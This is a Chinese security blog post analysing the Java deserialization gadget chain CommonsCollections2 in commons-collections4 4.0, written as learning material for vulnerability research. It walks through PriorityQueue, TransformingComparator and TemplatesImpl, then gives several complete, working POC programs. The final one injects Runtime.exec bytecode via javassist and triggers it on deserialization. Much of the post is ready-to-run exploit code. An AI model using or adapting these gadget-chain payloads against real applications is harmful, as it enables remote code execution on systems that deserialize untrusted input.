首页 > 编程语言 >Java反序列化-CommonsCollections2利用链分析

Java反序列化-CommonsCollections2利用链分析

时间:2023-01-22 22:22:39浏览次数:78  
标签:Java import Object priorityQueue org apache new 序列化 CommonsCollections2

前言

接上篇TemplatesImpl利用链分析,学习了通过TemplatesImpl利用链来进行类加载执行恶意代码,现在来学习一下CommonsCollections2利用链。

分析前的准备

漏洞组件:commons-collections4.0,使用jdk1.7

pom.xml中引入漏洞依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

引入辅助构造POC依赖:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.19.0-GA</version>
</dependency>

利用链分析

cc2利用链是通过TemplatesImpl加载恶意类进行代码执行,危害性较命令执行大一些

  Gadget chain:
    ObjectInputStream.readObject()
      PriorityQueue.readObject()
      PriorityQueue.heapify()
        PriorityQueue.siftDown()
          PriorityQueue.siftDownUsingComparator()
            TransformingComparator.compare()
              InvokerTransformer.transform()
                Method.invoke()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                    TemplatesImpl.defineTransletClasses()
                      TransletClassLoader.defineClass()
                    newInstance()
                      Runtime.getRuntime().exec("calc")

利用链中我们可以看到后半部分就是上篇TemplatesImpl利用链中写到的,然后也是和cc1一样,通过InvokerTransformer#transform去进行任意类方法执行

这里触发InvokerTransformer#transform的方法改变了,但是在之前分析cc1中也提到了TransformingComparator#compare方法也调用了transform,并且可以成功利用。

PriorityQueue

在cc2中,除了TemplatesImpl利用链以外,就得是PriorityQueue了,也是通过该类来进行反序列化成功调用TransformingComparator#compare的,该类实现了Serializable接口,来看一下readObject方法

前边都是一些序列化操作,也比较容易理解,queue是一个对象数组,size是个int型数据

可见queuetransient关键字修饰,不可被序列化,但是在反序列化的过程中将会对该变量进行赋值,通过s.readObject反序列化的对象也是从ObjectInputStream中读取出来的

查看PriorityQueue#writeObject方法,在序列化的过程中也是按顺序将queue中存储的对象写入ObjectOutputStream中,所以其实queue对象也是写入了序列化字符串的;当然这里也写入了size变量。

然后在最后调用了PriorityQueue#readObject的最后调用了heapify方法

这里通过size(需要≥2,2右移1位为1)进入循环,调用siftDown方法,传入queue对象数组中的对象。

这里通过comparator选择执行一个方法,并且该变量可控

siftDownUsingComparator方法中调用了comparator.compare,并且传入参数可控

通过反射修改comparator的值为TransformingComparator对象即可成功利用

queuecomparator变量通过构造方法可传入

POC编写

先使用cc1的ChainedTransformer#transform来尝试写出poc,在进行编写poc的时候下边代码执行触发了恶意代码:

package com.serializable.cc2;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
//        chainedTransformer.transform("payload");
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
//        transformingComparator.compare(chainedTransformer, 1);
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(chainedTransformer);
    }
}

调试发现触发链如下:

priorityQueue#add->priorityQueue#offer->priorityQueue#siftUp->priorityQueue#siftUpUsingComparator->TransformingComparator#compare->InvokerTransformer#transform

为了避免在序列化的时候触发该问题并抛出异常,我们可以通过定义后反射修改参数的方法进行构造poc:

package com.serializable.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
//        chainedTransformer.transform("payload");
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
//        transformingComparator.compare(chainedTransformer, 1);
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Object[] objects = {1, chainedTransformer};
        setFieldValue(priorityQueue, "comparator", transformingComparator);
        setFieldValue(priorityQueue, "queue", objects);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

在这里边的poc编写中,我们通过PriorityQueue#add方法去增加size,当然我们也可以通过反射:

如上图,如果通过反射增加size和修改queue,这样也不用担心在进行add时触发攻击

现在这样只能达到命令执行的情况,接下来引入TemplatesImpl利用链进行代码执行。

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("TestCtClass");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] bytes = testCtClass.toBytecode();    // 获取字节数据
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
//        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Reflections.setFieldValue(templates, "_name", "seizer");
//        templates.newTransformer();

        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);

        TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
//        transformingComparator.compare(chainedTransformer, 1);
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
//        priorityQueue.add(1);
//        priorityQueue.add(2);
        setFieldValue(priorityQueue, "size", 2);

        Object[] objects = {templates, 2};
//        setFieldValue(priorityQueue, "comparator", transformingComparator);
        setFieldValue(priorityQueue, "queue", objects);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

在这里又遇到了俩个问题:

compare比较时会依次执行这两个对象的自定义方法,如果将2放在前边,在执行newTransformer将会抛出异常

在之前学习TemplatesImpl利用链时,_tfactory变量是用关键字transient修饰的,所以说该变量是不能被序列化的,但是还会成功触发恶意代码呢?

我们可以看到TemplatesImpl也存在readObject方法,在最后一行对_tfactory进行了赋值

通过调试也可以看到_tfactoryTransformerFactoryImpl对象

最终POC

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("TestCtClass");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] bytes = testCtClass.toBytecode();    // 获取字节数据
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_name", "seizer");
        
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
        TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
        
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        setFieldValue(priorityQueue, "size", 2);
        Object[] objects = {templates, 2};
        setFieldValue(priorityQueue, "queue", objects);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

标签:Java,import,Object,priorityQueue,org,apache,new,序列化,CommonsCollections2
From: https://www.cnblogs.com/seizer/p/17064740.html

相关文章

  • (七)Java IO流
    JavaIO流1、IO流分类1)按数据流向:输入流和输出流2)按处理单位:字节流和字符流3)按功能分类:节点流和处理流2、常用的流1)对文件进行操作:FileInputStream(字节输入流)、FileO......
  • 【java面试题】lock和synchronized有什么区别?
    学习目标:掌握lock与synchronized的区别理解ReentrantLock的公平、非公平锁理解ReentrantLock中的条件变量lock与synchronized的区别有三个层面学习内容:1.......
  • Java开发案例:使用JDBC技术来实现QQ登录
    在实际开发中,用户信息是存放在数据库中的,登录时的账号和密码信息也需要去数据库中查询,本节将使用JDBC技术来完善QQ登录案例。1.创建数据表,并添加用户数据在jdbc数据库中创建......
  • JavaScript对象的创建方式有几种?怎么用?
    JavaScript对象的创建方式有几种?怎么用?对象是JavaScript的基本数据类型,对象不仅是字符串到值的映射还保持自有属性,JavaScript对象可以从一个称为原型的对象继承属性,对象的方......
  • Java实时数据处理之三-池化技术(线程池 & 对象池)
    线程池使用步骤:1、自定义线程池privateThreadPoolExecutorexecutor;/***初始化线程池*/@PostConstructprivatevoidinit(){......
  • Java千问25:关于Java类的构造方法,看这一篇就够了!
    ​Java语言中,类的构造方法是一种很特殊的方法。关于构造方法要记忆和理解的知识点其实挺多的,下面我们就来详细的讲讲构造方法,相信看过这篇文章之后,你会对构造方法有一个比较......
  • java中隐藏不想返回的字段信息
    场景:有时候我们返回给前端的数据是包含null的,而这些为null的值前端也不好处理,所以我们就没必要把null值返回给前端,一般登录都会用到账号和密码,这时隐藏密码字段也是常规操......
  • Java创建线程的4种方式
    继承Thread类,重写run方法Thread类实现了Runnable接口(只有一个没有返回值的run方法)。publicclassThreadDemoextendsThread{publicThreadDemo(Stringname){......
  • JavaScript中的空值合并操作符【??】和可选链操作符【?.】的理解和使用
    参考:http://t.csdn.cn/5700Y??-空值合并操作符结构:eg:letres=num01??num02;??当左侧的变量为null或undefined的时,返回左侧num02否则返回自身num01(num01相当于nu......
  • 利用java来实现计算器的加减乘除
    packagebag; importjava.util.Scanner; publicclassDemo06{ publicstaticvoidmain(String[]args){ Scannersc=newScanner(System.in);System......